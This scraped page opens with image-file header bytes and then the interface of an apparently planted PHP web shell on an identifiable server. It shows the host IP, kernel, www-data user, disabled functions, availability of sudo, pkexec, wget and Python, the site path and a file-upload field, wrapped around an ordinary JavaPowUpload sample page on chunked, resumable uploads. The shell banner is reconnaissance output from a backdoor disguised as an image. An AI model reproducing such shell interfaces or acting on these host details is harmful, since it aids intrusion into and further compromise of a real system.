????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.55 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/productionzon/JavaPowUpload/ |
Upload File : |
<!-- saved from url=(0014)about:internet -->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Resumable and large files upload example</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<script type="text/javascript" language="javascript">
function toggleBlock(id) {
if (document.getElementById(id).style.display == 'none') {
document.getElementById(id).style.display = 'block';
}
else {
document.getElementById(id).style.display = 'none';
}
}
</script>
Sample: <b>resumableupload.html</b> <a href="javascript:location.reload(true);"><img border="0" src="images/refresh.png" width="16" height="16"> Refresh frame</a> <a target="_parent" href="index.htm"><img border="0" src="images/home.png" width="16" height="16"> Examples home</a><br/><br/>
This sample demonstrates <strong>uploading very large files and resumable upload</strong>. JavaPowUpload has chuncks upload mode and uploads each file by few requests. Each request can be less than 2 MB. Now you don't worry about server or script request size limitations (settings at php.ini, web.config, etc). JavaPowUpload <strong>uploads any file size (10 GB tested)</strong> to any server.<br/>
JavaPowUpload with chuncks upload mode also supports <strong>Resumable upload</strong>. Internet connection can be lost during uploading but JavaPowUpload tryes to restart uploading since last chunk.
<br/>Server side script creates temporary file and after file uploaded completely it renames it to original name.
<p>For the example you need to specify script URL that accept the files. Open the example in a text editor and specify the property value "Upload.UploadUrl" of JavaPowUpload applet. The value can be:</p>
<ul>
<li>For PHP : <code>Extra/FileProcessingScripts/PHP/resumableandlargeupload.php</code> <strong>(Default value)</strong></li>
<li>For ASP.NET (C Sharp): <code>Extra/FileProcessingScripts/ASP.NET/CSharp/resumableandlargeupload.aspx</code></li>
</ul>
<p>
<input type="checkbox" name="compress" id="compress" onClick="javascript: setCompression(this);">
Enable compression<br>
You can enable compression in chunked upload mode. In this case JavaPowUpload will compress each data chunk "on the fly" without, creation of archive on client side.<br>
Server side script will unzip each data chunk, and write source data to file. It may increase upload speed of large files.
</p>
<p> <br>
<span onClick="toggleBlock('parameters'); return false;" class="imglink">Parameters related to the chunked upload feature (click to expand)</span>
<br/>
<div id="parameters" style="display: none;">
<p><code><!--Enable chunked upload feature --><br></code>
<param name="Upload.HttpUpload.ChunkedUpload.Enabled" value="true"><br>
<code><!-- Size of chunk in bytes. If the parameter is set to -1 , JavaPowUpload will automatically increase the chunk size to an optimal value. --><br></code>
<param name="Upload.HttpUpload.ChunkedUpload.ChunkSize" value="-1"><br>
<code><!--Maximum chunk size. If the chunkedUpload.chunkSize parameter is set to -1, the value of this parameter is used to a limit maximum size of a chunk. It should be less than the request or the file size limitation on the server side . --><br></code>
<param name="Upload.HttpUpload.ChunkedUpload.MaxChunkSize" value="2097152"><br>
<p>
</div>
<br/>
<!--lib/JavaPowUpload.jar - main jar file, should always be included
Optional jar files:
lib/skinlf.jar - for themes support
lib/commons-compress.jar - compression before upload
lib/commons-httpclient.jar - http upload functionality
lib/commons-net-ftp.jar - FTP protocol support -->
<applet
code="com.elementit.JavaPowUpload.Manager"
archive="lib/JavaPowUpload.jar, lib/commons-compress.jar, lib/commons-httpclient.jar"
width="500"
height="350"
name="JavaPowUpload"
id="JavaPowUpload"
mayscript="true"
alt="JavaPowUpload by www.element-it.com"
VIEWASTEXT>
<!-- Java Plug-In Options -->
<param name="progressbar" value="true">
<param name="boxmessage" value="Loading JavaPowUpload Applet ...">
<param name="Common.SerialNumber" value="put your serial number here">
<!--Enable upload mode -->
<param name="Common.UploadMode" value="true">
<param name="Common.UseLiveConnect" value="true">
<!--Set url to file processing script -->
<param name="Upload.UploadUrl" value="Extra/FileProcessingScripts/PHP/resumableandlargeupload.php">
<!--Parameters related to the chunked upload mode -->
<param name="Upload.HttpUpload.ChunkedUpload.Enabled" value="true">
<param name="Upload.HttpUpload.ChunkedUpload.ChunkSize" value="-1">
<param name="Upload.HttpUpload.ChunkedUpload.MaxChunkSize" value="2097152">
<param name="Common.RetryWhenConnectionLost" value="true">
<param name="Common.RetryWhenConnectionLost.CheckInterval" value="1">
<param name="Common.RetryWhenConnectionLost.CheckTimeout" value="600">
<!-- This text will be shown if applet not working or Java not installed-->
<span style="border:1px solid #FF0000;display:block;padding:5px;margin-top:10px;margin-bottom:10px;text-align:left; background: #FDF2F2;color:#000;">You should <b>enable applets</b> running at browser and to have the <b>Java</b> (JRE) version >= 1.5.<br />
If applet is not displaying properly, please check <a target="_blank" href="http://java.com/en/download/help/testvm.xml" title="Check Java applets">additional configurations</a></span>
</applet>
<br />
<script type="text/javascript">
var uploadedfilescount = 0;
var Java;
window.onload = function() {
InitJavaObj();
}
function InitJavaObj()
{
Java = document.getElementById("JavaPowUpload");
setCompression(document.getElementById("compress"))
}
function setCompression(obj)
{
Java.setParam("Upload.Compress.Enabled", obj.checked);
}
</script>
The file uploader doesn’t work? See <a target="_blank" href="http://www.element-it.com/OnlineHelpJavaPowUpload/Troubleshooting.html">here</a> what you need for its proper work. <br/>
<a href="index.htm"><<Return to the samples list</a>
</p>
</body>
</html>